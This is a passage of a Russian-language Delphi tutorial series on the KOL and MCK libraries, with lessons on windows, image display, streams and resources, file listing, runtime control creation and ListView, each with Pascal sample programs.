Можно конечно удалить и строчку {$R *.RES} (тем самым уменьшив приложение на пару кб), но я предпочитаю оставлять эту строку, чтобы приложение было более красивым (красивые иконки - это моя слабость;) Ну, а теперь можно сохранить наш проект (например под именем L1). Конечно, как вы понимаете, это еще не программа, но запустить ее можете уже и сейчас. Вернемся к KOL.

function NewForm( AParent: PControl; const Caption: String ): PControl; 

Для создания формы надо воспользоваться конструктором NewForm. В параметрах у этого конструктора указывается специальный объект Applet (AParent) и заголовок окна (Caption). Вы наверное сразу зададитесь вопросом: что такое Applet ? Для ответа на этот вопрос надо вспомнить то, о чем я говорил об обьекте TControl (ну, насчет того, что в параметрах конструктора визуальных контролов обычно указывается объект, на котором находится контрол). Так Applet - это объект, "на котором" создается окно. Если у вас одно окно, то этот объект создается автоматически и не надо пользоваться его конструктором.

function NewApplet( const Caption: String ): PControl;

Вот пример создания окна:

program L1;
uses
  Windows,
  messages,
  KOL;
{$R *.RES}
var
  form:PControl;
begin
  form := NewForm(Applet,'Первое окно');
  run(form);
end.

Функция Run, "запускает" программу, т.е. запускает цикл, в котором обрабатываются сообщения программы.

Это конечно не все свойства, но они обычно самые нужные. Style и ExStyle отвечают за то, что у обычной формы в VCL отвечает свойство FormStyle. Для тех, кто никогда не имел дело с API, привожу список тех значений, которые они могут принимать. Для Style (основные):

Для расширенного стиля окна ExStyle значения следующие:

Общий стиль окна получается соединением флагов при помощи операции OR. Если вы используете флаги стиля, то один из них должен быть WS_VISIBLE. В следующей таблице я покажу какими должны быть флаги, для того чтобы создавать окна аналогичные окнам, создаваемым в Delphi.

Но кроме этих типов окон, вы сможете создавать и любые другие, просто по разному комбинируя с флагами стилей.

У окна в KOL есть несколько свойств, позволяющие упрощенное изменение вида окна. Например:

Также в KOL-окно уже "встроен" StatusBar. Чтобы у вас появилась надпись внизу экрана вам достаточно обратится к свойству.

StatusText[idx:integer]:PChar;

Idx отвечает в какой "ячейке" у вас будет надпись. Например если у вас окно Form, то строка Form.StatusText[1]:='Пример'; Приведет к следующему результату в нижней части окна:

Этой информации достаточно, чтобы создать окно на KOL.

Урок 10 - Вывод графики на экран.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Расскажем про основы вывода графических изображений с помощью KOL. А основы (в моем понимании) - это обычный вывод растровой картинки :).

C помощью КОL вы сможете выводить на экран только bmp. Для того чтобы выводить jpg и gif вы должны подключить JpegObj и KolGif. Благодаря этим дополнительным библиотекам ваша программа конечно станет большего размера, но зато сможет показывать картинки этих двух форматов.

Для того чтобы работать с изображениями вы должны создать объекты типа pBitmap, pGif , pJpeg. Для каждого формата изображения свой тип объекта.

Ниже привожу конструкторы этих объектов.

function NewPaintbox( AParent: PControl ): PControl;

program Primer_4; 
 
uses 
  windows, 
  messages, 
  kol, 
  JpegObj, 
  KOLGIF; 
 
{$R *.RES} 
var 
 Form, 
 pTop, 
 PB, 
 buOpen, 
 SBox : pControl; 
 ext : string; 
 
 bmp : pBitmap; 
 Gif : pGif; 
 Jpg : pJpeg; 
 
 dlgOpen : pOpenSaveDialog; 
 
/////////////////////////////////////////////////////////// 
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC ); 
begin 
  if AnsiCompareText(ext, '.bmp') = 0 then 
    Bmp.Draw(PB.Canvas.Handle, 0, 0); 
 
  if AnsiCompareText(ext, '.gif') = 0 then 
    Gif.Draw(PB.Canvas.Handle, 0, 0); 
 
  if AnsiCompareText(ext, '.jpg') = 0 then 
    jpg.Draw(PB.Canvas.Handle, 0, 0); 
end; 
/////////////////////////////////////////////////////////// 
procedure OpenPic ( Dummy : Pointer; Sender : PControl ); 
begin 
  if dlgOpen = nil then 
    dlgOpen := NewOpenSaveDialog('Открыть рисунок', '', []); 
 
  if PB = nil then 
  begin 
    PB := NewPaintBox(SBox); 
    PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) ); 
  end; 
 
  dlgOpen.Filter := 'Рисунки (bmp,gif,jpg)|*.bmp;*.gif;*.jpg'; 
 
  if dlgOpen.Execute then 
  begin 
    ext := ExtractFileExt(dlgOpen.Filename); 
 
    if AnsiCompareText(ext, '.bmp') = 0 then 
    begin 
      if BMP = nil then 
        Bmp := NewBitmap( 0, 0 ); 
      Bmp.LoadFromFile(dlgOpen.Filename); 
      PB.Width := Bmp.Width ; 
      PB.Height:= Bmp.Height; 
    end; 
 
    if AnsiCompareText(ext, '.gif') = 0 then 
    begin
      if Gif = nil then 
        Gif := NewGif; 
      Gif.LoadFromFile(dlgOpen.Filename); 
      PB.Width := Gif.Width ; 
      PB.Height:= Gif.Height; 
    end; 
 
    if AnsiCompareText(ext, '.jpg') = 0 then 
    begin 
      if jpg = nil then 
        jpg := NewJpeg; 
      jpg.LoadFromFile(dlgOpen.Filename); 
      PB.Width := jpg.Width ; 
      PB.Height:= jpg.Height; 
    end; 
 
    Form.StatusText[0] := PChar(ExtractFileName(dlgOpen.Filename)); 
  end; 
end; 
////////////////////////////////////////////////////////// 
 
begin 
  Applet := NewApplet('Пример # 4 (Работа с графикой)'); 
  Form := NewForm(Applet, 'Пример # 4').SetSize(640, 450); 
  Form.CenterOnParent; // размещаем наше окно посередине экрана 
  
  Form.Font.FontName := 'MS Sans Serif'; 
  Form.Font.FontHeight := 9; 
  
// -------- рисуем интерфейс ----------------------------- 
  pTop := NewPanel(Form, esRaised).SetAlign(caTop); 
  pTop.Height := 35; 
 
  buOpen := NewButton(pTop, 'Открыть').SetAlign(caLeft); 
  buOpen.OnClick := TOnEvent( MakeMethod( nil, @OpenPic ) ); 
 
  SBox := NewScrollBoxEx(Form, esLowered).SetAlign(caClient); 
// ------------------------------------------------------- 
 
  run(Applet); 
end.

Исходный текст : 2,48 Кб ; размер программы: 102Кб(без сжатия и замены System) Пока это самая большая программа-пример ;-) Вот что у вас должно получится:

Урок 11 - Работа с потоками.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Поговорим про потоки в KOL. Вещь безусловно нужная и поэтому очень приятная :). Потоки позволяют сделать более гибкой работу по обмену и выводу данных из различных источников. Для разных источников (носителей), чтение данных происходит по разному, а потоки унифицируют этот процесс. Теоретическую часть этого вопроса можно найти в любой книжке по Delphi, так что особо разглагольствовать я не буду. Скажу лишь что во многих случаях без них совершенно не обойтись. Например : Вы в ресурс вашей программы поместили gif или jpg файл (ну не хочется вам таскать их отдельными файлами). Разумеется вы захотите когда-нибудь показать их миру . Но не все так просто. Объекты PGif и PJpeg не читают данные из ресурса (только поток или файл. см предыдущий урок). Т.е. у нас сложилась так, что ресурс (источник), не может передать информацию объектам PGif или PJpeg. Вот тут и приходят на помощь потоки. И таких примеров если покопаться можно отыскать достаточно. В конце урока будет приведен пример именно работы с ресурсами (вывод изображения формата gif на экран и сохранения ресурса на диск), а сейчас рассмотрим "школьный минимум".

Конструкторы.

Для создания потока в памяти (чтение и запись): function NewMemoryStream: PStream;

Для создания потоков работающих с файлами:

FileName - имя фала на диске. Эти три конструктора отличаются по целям для которых вы собираетесь использовать файл. 1-й для чтения ; 2-й для записи ; 3-й для записи и чтения.

Основные свойства PStream.

Список методов:

А теперь сам обещанный пример. Для его работы у вас должен быть установлен KolGif (можете скачать в разделе файлы). Вы также должны создать ресурс содержащий любой gif с именем logo.gif (в моем случаем это логотип нашего сайта). Для этого создайте файл с расширение *.rc (у меня pic.rc) содержащий следующий текст: LOGOTIP RCDATA "logo.gif" Скомпилируйте при помощи brcc32.exe: brcc32.exe pic.rc В процедуре SavePic выполняется сохранения ресурса на жесткий диск (эта процедура происходит при клике по рисунку). В ShowForma gif рисунок извлекается из ресурса и выводится на экран. В обоих процедурах используется функция Resource2Stream. Она переводит данные из ресурса в поток.

program Primer11;
uses
  Kol,
  Messages,
  Windows,
  KolGif;
{$R *.RES}
{$R pic.res}
var
  forma,
  pb: pControl;
  Gif: pGif;
  PicStream: PStream;
////////////////////////////////////////////////////////////////////////// 
// рисование избражения 
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC );
begin
  Gif.Draw(PB.Canvas.Handle, 0, 0);
end;
////////////////////////////////////////////////////////////////////////// 
//"забрасываем" ресурс на диск 
procedure SavePic( Dummy : Pointer; Sender: PControl );
begin
  //GetWindowsDir[1] - будем мусорить на системном диске :) 
  //создаем файл-поток для изображения 
  PicStream := NewWriteFileStream(GetWindowsDir[1] + ':\logo.gif');
  // переводим данные из ресурса в поток 
  Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
  PicStream.free;
end;
////////////////////////////////////////////////////////////////////////// 
// показываем картинку из ресурса 
procedure ShowForma( Dummy : Pointer; Sender: PControl );
begin
  PicStream := NewMemoryStream; //создаем поток для изображения 
  // переводим данные из ресурса в поток 
  Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
  //Указываем с какой позиции у нас будут читаться данные 
  PicStream.Position := 0;
  gif := NewGif;
  gif.LoadFromStream(PicStream);
  PB := NewPaintBox(forma);
  PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) );
  // в случае клика по картинке сохраняем ее на диск 
  PB.OnClick := TOnEvent( MakeMethod( nil, @SavePic ) );
  PB.Width := gif.Width ;
  PB.Height:= gif.Height;
  PB.CenterOnParent;
  PicStream.free;
end;
////////////////////////////////////////////////////////////////////////// 
begin
  Applet := NewApplet('Работа с потоком');
  Forma := NewForm(Applet, 'Работа с потоком (вывод gif)');
  Forma.SetSize(310, 120);
  Forma.CenterOnParent;
  Forma.Font.FontName := 'MS Sans Serif';
  Forma.Font.FontHeight := 9;
  Forma.onShow :=  TOnEvent(MakeMethod(nil, @ShowForma));
  Run(Applet);
end.

Исходный текст : 1,9 Кб ; размер программы: 56,5Кб (без сжатия и замены System). Из этих 57 килобайт около 12 занимает картинка. Вот что вы должны увидеть :

Пример не совсем выгоден с точки зрения экономии дискового пространства :) Дело в том что логотип в bmp весит всего 24 Кб (цвет 8 бит), а KOLGif примерно 12Кб добавляет в размер программы + 12 Кб рисунок. Но при больших картинках помещать в ресурс gif уже более разумней.

Урок 12 - Создание списка файлов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Не так уж и часто, но бывает надо в программе получить список файлов или поддиректорий в каталоге. Для тех, кто использует KOL и MCK открываются аж 3 способа решения этой проблемы. Правда нормальный, по моему мнению, все-таки только один :) Рассмотрим все.

1-й способ. " Традиционный .".

Традиционно пользуются 3-мя API функциями: FindFirstFile (ищет первый файл из списка файлов), FindNextFile (ищет следующий файл) , FindClose (прекращение поиска). Обычно первые 2-е функции заменются их VCL-суррогатами FindFirst, FindNext. Для нас, они не совсем приемлемы, так как для того чтобы воспользоваться этими функциями, надо подключить библиотеку Sysutils. А это как известно добавляет лишний жирок в наши атлетически сложенные программы :-). Пример на чистом API с примесью KOL.

program Primer12;
uses
  Windows,
  Messages,
  Kol;
  {$R *.RES}
var
  Form: Pcontrol;
  // ----- элементы интерфейса ----- 
  List: PControl;
  // -----------------------------
  FindHandle : THandle;
  FindData : TWin32FindData;
  b: boolean;
  s: string;
begin
  Applet := NewApplet( 'Список файлов' );
  form:=NewForm(Applet, 'Список файлов' ).SetSize(300, 400);
  form.CenterOnParent;
  List := NewListBox(form, []).SetAlign(caClient);
  // устанавливаем атрибуты файла 
  FindData.dwFileAttributes := FILE_ATTRIBUTE_NORMAL;
  // ищем первый файл в каталоге C:\
  FindHandle := FindFirstFile('C:\*.*', FindData);
  // если все Ok, тогда продолжаем 
  if FindHandle <> INVALID_HANDLE_VALUE then
  begin
     b := true;
     while b do
     begin
       s := FindData.cFileName;
       // всякие точки и двоеточия нам не нужны 
       if (s<>'..') and (s<>'.') then
         List.Add(s);
       b := FindNextFile(FindHandle, FindData);
     end;
  end;
  FindClose(FindHandle);
  run(Applet);
end.

Пояснения на счет атрибутов для искомых файлов:

2-й способ. "В лоб.".

Несмотря на простоту представленного кода эту операцию можно сделать еще проще т.к. ListBox сам может показать файлы в определенной директории. Для этого надо обратится к свойству AddDirList. Пример еще меньше.

program Primer12_2; 
 
uses 
  Windows, 
  Messages, 
  Kol; 
 
{$R *.RES} 
var 
  Form: Pcontrol; 
  // ----- элементы интерфейса ----- 
  List: PControl; 
  // ------------------------------ 
begin 
  Applet := NewApplet('Список файлов'); 
  form := NewForm(Applet, 'Список файлов').SetSize(300, 400); 
  form.CenterOnParent; 
  List := NewListbox(form, []).SetAlign(caClient); 
  List.AddDirList('C:\*.*', FILE_ATTRIBUTE_NORMAL); 
  run(Applet); 
end. 

Это конечно интересный способ получать список файлов, но не функциональный :) Не создавать ведь на окне каждый раз ListBox или СоmьоВох (он тоже имеет это же свойство), чтобы получить список файлов. Да и почему-то выводимый список файлов в виде " коротких имен " (т.е. как будто в DOS). Скорее всего Владимир Кладов добавил это свойство как интересную фичу и не более.

3-й способ. " Как положено ".

Ну и самое интересное :) В KOL есть объект предназначенный для создания списка фалов. Это PDirList. Вот его конструктор:

function NewDirList( const DirPath, Filter: String; Attr: DWORD ): PDirList;

DirPath - сканируемая директория Filter - фильтр для файлов или каталогов Attr - атрибуты.

Список методов и свойств для работы с этим обьектом:

Пример. Наверху в окне находится список дисков. Ниже находится список файлов и подкаталогов, находящихся в центральных каталогах этих дисков.

program Primer12_3;
uses
  windows,
  messages,
  kol;
{$R *.RES}
var
  form: Pcontrol;
 // ----- элементы интерфейса -----
  ListFile, ListDrv: PControl;
 // ------------------------------
  FileL: pDirList;
  i, j: integer;
  DriveBits: set of 0..25;
  DriveNum: integer;
  DriveChar: char;
///////////////////////////////////////////////////////////////////////////
procedure SelDrv(Dummy: Pointer; Sender: PControl);
var
  s: string;
begin
  s := ListDrv.Text;
  if FileL = nil then
    FileL := NewDirList(s, '*.*', FILE_ATTRIBUTE_NORMAL)
  else
  begin
    FileL.Clear;
    FileL.ScanDirectory(s, '*.*', FILE_ATTRIBUTE_NORMAL);
  end;
  FileL.Sort([sdrByName]);
  ListFile.Clear;
  if FileL.Count > 0 then
    for i := 0 to FileL.Count - 1 do
      ListFile.add(FileL.Names[i]);
end;
///////////////////////////////////////////////////////////////////////////
begin
  Applet := NewApplet('Список файлов');
  form := NewForm(Applet, 'Список файлов').SetSize(250, 300);
  form.CenterOnParent;
  Form.Font.FontName := 'MS Sans Serif';
  Form.Font.FontHeight := 9;
 //----------- "рисуем" интерфейс -----------------------
  ListDrv := NewComboBox(form, []).SetAlign(caTop);
  ListFile := NewListbox(form, []).SetAlign(caClient);
 //------------------------------------------------------
  Integer(DriveBits) := GetLogicalDrives; // получаем номера дисков
  i := 0;
  j := 0;
 // узнаем список дисков
  for DriveNum := 0 to 25 do
    if DriveNum in DriveBits then
    begin
      DriveChar := Char(DriveNum + Ord('a'));
      DriveChar := UpCase(DriveChar);
      ListDrv.Add(DriveChar + ':\');
      if DriveChar = 'C' then j := ListDrv.Count - 1; // узнаем каким в очереди идет диск С:\
    end;
  ListDrv.CurIndex := j;
  ListDrv.OnChange := TOnEvent(MakeMethod(nil, @SelDrv));
  SelDrv(nil, nil); // показываем файлы на текущем диске
  run(Applet);
end.

Размер кода 1,8 Кб. Размер программы 34,5 Кб (без сжатия и замены модулей). На экране увидите Вы примерно следующее:

Урок 13 - Жизнь и смерть в режиме RunTime на KOL.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

13 урок... Если вы суеверный можете не читать :) В этом разделе у нас будет немного мистики и чертовщины (Кнопки и прочие контролы интерфейса будут возникать и пропадать неоткуда). В общем если вы немного Гарри Потерр данный монолог будет вам интересен :).

В форуме уже звучали вопросы про "динамическое" создание кнопок. Если ваш проект на VCL то глоток знаний по данному вопросу можно получить на сайте Королевство DELPHI в статья "Жизнь и смерть в режиме run-time" (надеюсь автор статьи не обвинит меня в плагиате). Рекомендую вам прочесть данный опус для общего развития и потому что фактически все ниже изложенное вытекает из этого произведения. Что бы понять отличия от VCL в данном вопросе надо уяснить 2 вещи :

При создание объекта на уже работающем окне вам кроме обычного конструктора надо сделать обращение к CreateWindow. Пример :

// form - родительский объект на котором создается контрол
NewBigButton := NewButton(form, 'КНОПКА');
NewBigButton.CreateWindow;

Если все нормально CreateWindow возвращает true. Так что если вы "правильный" программист неплохо бы эту функцию вызывать c проверкой через IF.

"Родительский" объект "нумерует" все объекты которые вы создаете на нем. Для того что бы узнать под каким номером идет ваш "дочерний" объект нужно обратившись к свойству ChildIndex. А если вам известен номер "дочернего" объекта то вы сможете обратится к нему через свойство Children. Пример :

var
  i: Integer;
...
// form - родительский объект
NewBigButton := NewButton(form, 'КНОПКА');
NewBigButton.CreateWindow;
i := form.ChildIndex(NewBigButton); // получаем номер объекта
form.Children(i).caption := ' Это кнопка'; // обращаемся к тому же NewBigButton

Количество дочерних объектов узнается с помощью ChildCount. Таким образом можно устроить "перебор" всех дочерних объектов определенного контрола.

Наверное у некоторых читателей может возникнуть вопрос: к чему мне все эти "номера дочерних объектов"? Ответ на вопрос лежит на поверхности. Если вы создаете ваши контролы динамически(их количество не определено заранее) вы не сможете обратится к ним другим способом только как через его номер. При этом надо учесть что номера объектов сдвигается если ранее созданный объект удален. Для того что бы создаваемые вами визуальные объекты имели дополнительную информацию можно использовать свойство Tag. В него можно заносить любое целое число. В ниже приведенном примере в Tag заносится константа которая указывает на "функциональный тип" объекта (кнопка, EditBox и т.д.).

program Primer13;
uses
  kol,
  messages,
  windows;
{$R *.RES}
var
  form, butNewElement, lebDel, edNoDel, butDelElement, gb,
    rbButton, rbEditBox, rbRadioBox, rbCheckBox: pControl;
  new: pControl;
  Nomer: integer;
const
  cButton = 1;
  cEditBox = 2;
  cRadioBox = 3;
  cCheckBox = 4;
procedure ClickElemet(Dummy: Pointer; Sender: PControl);
begin
  case Sender.Tag of
    cButton: ShowMessage('Нажата кнопка - № ' + Int2Str(form.ChildIndex(Sender)));
    cRadioBox: ShowMessage('Нажата RadioBox - № ' + Int2Str(form.ChildIndex(Sender)));
    cCheckBox: ShowMessage('Нажат CheckBox - № ' + Int2Str(form.ChildIndex(Sender)));
  end; {case}
end;
procedure ClickButMakeButton(Dummy: Pointer; Sender: PControl);
begin
 // Фактически самая главная функция.
 // В зависимости от того какой RadioBox выбран создаем
 // определенного вида объект
  if rbButton.Checked then
  begin
    new := NewButton(form, '');
    new.Width := 100;
    new.Caption := 'Button №' + int2Str(form.ChildIndex(new));
    new.Tag := cButton;
  end
  else
    if rbEditBox.Checked then
    begin
      new := NewEditBox(form, []);
      new.Text := 'EditBox №' + int2Str(form.ChildIndex(new));
      new.Tag := cEditBox;
    end
    else
      if rbRadioBox.Checked then
      begin
        new := NewRadioBox(form, '');
        new.Caption := 'RadioBox №' + int2Str(form.ChildIndex(new));
        new.Width := 100;
        new.Tag := cRadioBox;
      end
      else
        if rbCheckBox.Checked then
        begin
          new := NewCheckBox(form, '');
          new.caption := 'CheckBox №' + int2Str(form.ChildIndex(new));
          new.Width := 100;
          new.Tag := cCheckBox;
        end;
  new.CreateWindow;
 // ------- располагаем по красивее новый контрол -------
  new.Left := 10;
  inc(Nomer);
 // так как все 4 элемента имеют одинаковую высоту...
  new.Top := Nomer * new.Height;
 // ------------------------------------------------------
  new.OnClick := TOnEvent(MakeMethod(nil, @ClickElemet));
end;
//////////////////////////////////////////////////////////////////////////
procedure ClickDelElemet(Dummy: Pointer; Sender: PControl);
begin
  form.Children[Str2Int(edNoDel.Text)].free;
end;
//////////////////////////////////////////////////////////////////////////
begin
  Applet := NewApplet('RunTime');
  Applet.Font.FontName := 'Arial';
  Applet.Font.FontWidth := 15;
  form := NewForm(Applet, 'Создание в режиме RunTime элементов интерфейса').SetSize(600, 450);
  form.CenterOnParent;
//--------------------------- рисуем интерфейс ---------------------------
  gb := NewGroupBox(form, 'Выберите').SetAlign(caRight);
  gb.Width := 100;
  rbButton := NewRadioBox(gb, 'Button').SetAlign(caTop);
  rbEditBox := NewRadioBox(gb, 'EditBox').SetAlign(caTop);
  rbRadioBox := NewRadioBox(gb, 'RadioBox').SetAlign(caTop);
  rbCheckBox := NewRadioBox(gb, 'CheckBox').SetAlign(caTop);
 // главная кнопка
  butNewElement := NewButton(gb, 'Создать');
  butNewElement.Width := 110;
  butNewElement.Align := caTop;
  butNewElement.OnClick := TOnEvent(MakeMethod(nil, @ClickButMakeButton));
  butDelElement := NewButton(gb, 'Удалить').SetAlign(caBottom);
  butDelElement.OnClick := TOnEvent(MakeMethod(nil, @ClickDelElemet));
  edNoDel := NewEditBox(gb, []).SetAlign(caBottom);
  edNoDel.Text := '1';
  lebDel := NewWordWrapLabel(gb, 'Номер удаляемого элемента').SetAlign(caBottom);
 //------------------------------------------------------------------------
  run(Applet);
end.

P.S. Уже когда все было написано Дмитрий Жаров aka Gandalf внес замечание по поводу того что (далее идет цитата) >1) Есть Tag, ему можно присвоить PChar, вот так: >obj1.Tag := Integer( 'Obj1' ); (это вырезка из переписки Gandalf с Кладовым) Мысль очень не плохая так как дает возможность назначать контролам имена и делать поиск по ним.

Урок 14 - MCK - RAD технологи для минималистов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

MCK наверняка поRАDует всех тех кто любит "рисовать" интерфейс, но при этом хочет создавать быстрые, компактные приложения как на WinAPI. Признаю. Мне это тоже нравится :) Согласитесь что это увеличивает скорость создания программы чуть ли не в разы.

Подробное описание создания MCK-проекта(как и многого другого) дается в KOLmirrorReadme.rus Это же повествование можно назвать "уроком для тех кто любит с картинками" :) Приступим (подразумевается что KOL и MCK установлены).

Создание проекта MCK.

Все... :) Несмотря на то что я расписал 10 шагов фактически делается 4 клика и изменяются 2 параметра. Результат: пустая форма. Не удивительно что во второй раз эти действия выполняются на автомате.

Добавление новой формы в проект.

Что бы добавить в проект новое окно надо:

Если вы не сделаете 5 и 6 шаг окно будет создаватся и показыватся при запуске. Что довольно удобно когда вы занимаетесь его дизайном. Для вызова формы достаточно добавить код:

NewИмя_формы(Имя_формы,Applet ); // создаем окно Имя_формы.Form.ShowModal; // показываем в модальном режиме Имя_формы.Form.Free; // удаляем от греха подальше :).

Если вы не поняли что такое NеwИмя_формы смотрите pas файл для этой формы.

Несколько нюансов:

Для того чтобы добавить в левый верхний угол иконку надо поставить у KOLProject свойство dprResorce равным True. После чего можете менять иконку как в обычном VCL проекте.

MCK является "оберткой" над KOL и проект "генерит" привычные по прошлым урокам конструкторы в файлы с расширением *.inc. Если во время разработки генерация не была произведена автоматически, перейдите к KOLProject и поменяйте свойство BUILD на true. True он все равно не станет, но проект построится заново :).

Обращение к свойствам формы происходит через FORM: Имя_формы.Form.Свойство := ... Имя_формы - это formName Например. Изменение заголовка у формы под именем Main: Main.Form.Caption := 'Заголовок';

Для того что бы завершить работу программы надо также как и в обычном KOL написать: Applet.Close;

Всю остальную информацию можно почерпнуть в файле KOLmirrorReadme.rus. Благодаря этому файлу данный разговор получился столь сжатым :).

Все дальнейшие уроки будут посвящены MCK.

Урок 15 - Описание свойств TKOLForm.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

TKOLForm Ниже приведена таблица с описанием большинство свойств которые вы сможете увидеть в инспекторе задачи при выделение объектов TKOLForm.

Урок 16 - TKOLListView.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

TKOLListView Как и следует из названия это аналог TListView из VCL. Может быть 5-ти видов. За это отвечает свойство LVStyle (на панели задач Style).

Для того что бы указать иконку надо бросить на форму TKOLImageList . Два раза кликнуть по нему и указать нужное изображение. Затем надо указать этот ImageList у TKOLListView изменить свойства ImageListNormal, ImageListSmall или ImageListSate.

Предположим что у нас есть гипотетический ListView (объект класса TKOLListView) Для того что бы добавить пункт в список надо обратится к LVItemAdd.

ListView.LVItemAdd('Значение')

Но если у вашего ListView установлен стиль lvsDetai то через LVItemAdd вы сможете добавить текст только в первый столбец. Для того что бы добавить данные в остальные столбцы обратитесь к LVItems.

ListView.LVItems[i, j] := 'значение';

I - строка j - столбец i и j нумеруется с нуля. Разумеется перед тем как обращаться к этому j-му столбцу неплохо бы его создать. Для этого надо обратится к свойсву Columns или просто щелкнуть по объекту два раза. Появится диалог в котором все и настраивается.

Для того что бы узнать номер пункта выбранного пользователем надо обратится к CurIndex. А зная его вы сможите узнать и текст который написан в этом пункте:

ListView.LVItems[ListView.CurIndex, 0];

(если у вас стиль lvsDetai то 0 должен меняться на соответствующий номер столбца).

У TKOLListView есть свойство Options через которое указываются различные параметры для его настройки. Самые интересные (по моему мнению) ниже в таблице.

Пару слов про lvoCheckBoxes. Благодяры ему вы сможете с легкостью сделать из TKOLListView аналог VCL TCheckListBox. Для того чтобы проверить установлен ли флажок на определенном пункте(или установить его) надо обратится к LVItemStateImgIdx.

ListView.LVItemStateImgIdx[i] := j

J - может принимать два значения: 1 - нет галочки ; 2 - галочка установлена. i - это номер пункта. Если i равно -1 тогда идет обращение ко всем пунктам.

Таким образом для того что бы снять все галочки надо написать следующую строку:

ListView.LVItemStateImgIdx[-1] := 1

К сожелению если вам надо например проверить выделены ли все пункты в списке то строка.

if ListView.LVItemStateImgIdx[-1] = 1 then...

Результата не даст. Тут надо переберать все пункты. Для того чтобы узнать количество пунктов надо обратится к LVCount. Если у вас стиль равен lvsDetai то количество столбцов узнается через LVColCount.

Если у вас в опциях присутствует lvoMultiselect вы сможете выделить несколько пунктов. Для того чтобы узнать номера первого выделенного пункта нам надо обратится к CurIndex. После чего обращаясь к LVNextSelected можно перебрать все пункты. Если больше нет выделенных пунктов LVNextSelected возвращает -1. Пример перебора:

var
  i, j: Integer;
begin
  i := ListView.LVCurItem;
  if ListView.LVSelCount > 0 then
  repeat
    MsgOK('Выделеный пункт №' + Int2Str(i));
    j := ListView.LVNextSelected(i);
    i := j;
  until j < 0;
 ...

LVSelCount - количество выделенных пунктов.

Краткая справка по свойствам TKOLListView.

Урок 2 - Наша первая кнопка или основные элементы интерфейса.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

У многих визуальных объектов существуют следующие параметры в конструкторе: AParameter - родительский объект контрола Сарtiоn - надпись на объекте. Их мы описывать не будем :-] Если говорить про свойства, то тут еще проще. Большинство этих объектов имеют такие же свойства, как и их братья из VCL.

Button

Кнопка она и в Африке кнопка :). Аналог TButton в VCL.

function NewButton( AParent: PControl; const Caption: String):PControl;

Параметр Style может иметь следующие флаги:

Несколько свойств позволяющих обойтись без жонглирования стилями.

LikeSpeedButton - кнопка становится по свойствам похожа на TSpeedButton из VCL.

type
  TTextAlign =( taLeft, taRight, taCenter );

По умолчанию taCenter.

BitBtn.

Кнопка не принимающая фокуса (почти полный аналог VCL SpeedButton).

function NewBitBtn(AParent: PControl; const Caption: String; Options: TBitBtnOptions;
Layout: TGlyphLayout; GlyphBitmap: HBitmap; GlyphCount: Integer ): PControl; 

Options:

Layout отвечает за то где будет находится рисунок на кнопке:

Panel.

Аналог контрола TPanel из Delphi. На него (как и на форму), можно "насаживать" другие визуальные элементы.

function NewPanel(AParent: PControl; EdgeStyle: TEdgeStyle): PControl;

EdgeStyle - стиль панели. Может иметь следующие значения:

GroupBox.

NewGroup ,как можно догадаться и по названию, аналог Delphi-компонента TNewGroup. GroupBox является родительским объектом, также как и Panel.

function NewGroupbox(AParent: PControl; const: String): PControl;

Label.

Пару слов про объекты, функции которых в Delphi выполняет класс TLabel. В KOL 2 обьекта- это Label и WordWrapLabel. Чем они отличаются друг от друга ? В отличие от Label , WordWrapLabel производит перенос текста,написанного на нем, на другую строку. В общем это все отличие.

function NewLabel(AParent: PControl; const Caption: String): PControl;
function NewWordWrapLabel( AParent: PControl; const Caption: String ): PControl;

CheckBox и RadioBox.

RadioBox CheckBox.

Аналоги VCL-классов TCheckBox и TRadioBox. Проверка, выбран ли этот компонент, также осуществляется через свойство Checked.

function NewCheckbox(AParent: PControl; const Caption: String ): PControl;
function NewRadiobox(AParent: PControl; const Caption: String ): PControl;

EditBox.

Аналог TEdit. Для того, чтобы получить текст введенный пользователем, надо обратится к свойству Text.

function NewEditbox(AParent: PControl; Options: TEditOptions ): PControl;

Параметр Options может состоять из следующих значений:

RichEdit.

Предназначен для редактирования многострочного текста.

function NewRichEdit(AParent: PControl; Options: TEditOptions): PControl;

Параметры Options аналогичны EditBox.

Чтобы загрузить текст используйте функцию:

function RE_LoadFromFile( const Filename: String; Format: TRETextFormat; 
        		        SelectionOnly: Boolean ): Boolean;

Сохранить:

function RE_SaveToFile( const Filename: String; Format: TRETextFormat; 
		      SelectionOnly: Boolean ): Boolean;

ReRTF - нормальный RTF reText - только текст (без OLE обектов) reTextized - простой текст с объектами OLE rePlainRTF - reRTF без языковых-специфических ключевых слов reRTFNoObjs - reRTF без объектов OLE rePlainRTFNoObjs - rePlainRTF без объектов OLE.

ListBox.

Аналог TListBox из VCL. Свойства в общем то те же (почти :-) .

function NewListbox(AParent: PControl; Options: TListOptions ): PControl;

Параметр Options может состоять из следующих значений :

Некоторые свойства:

ComboBox.

Аналог TComboBox.

function NewCombobox(AParent: PControl; Options: TComboOptions): PControl;

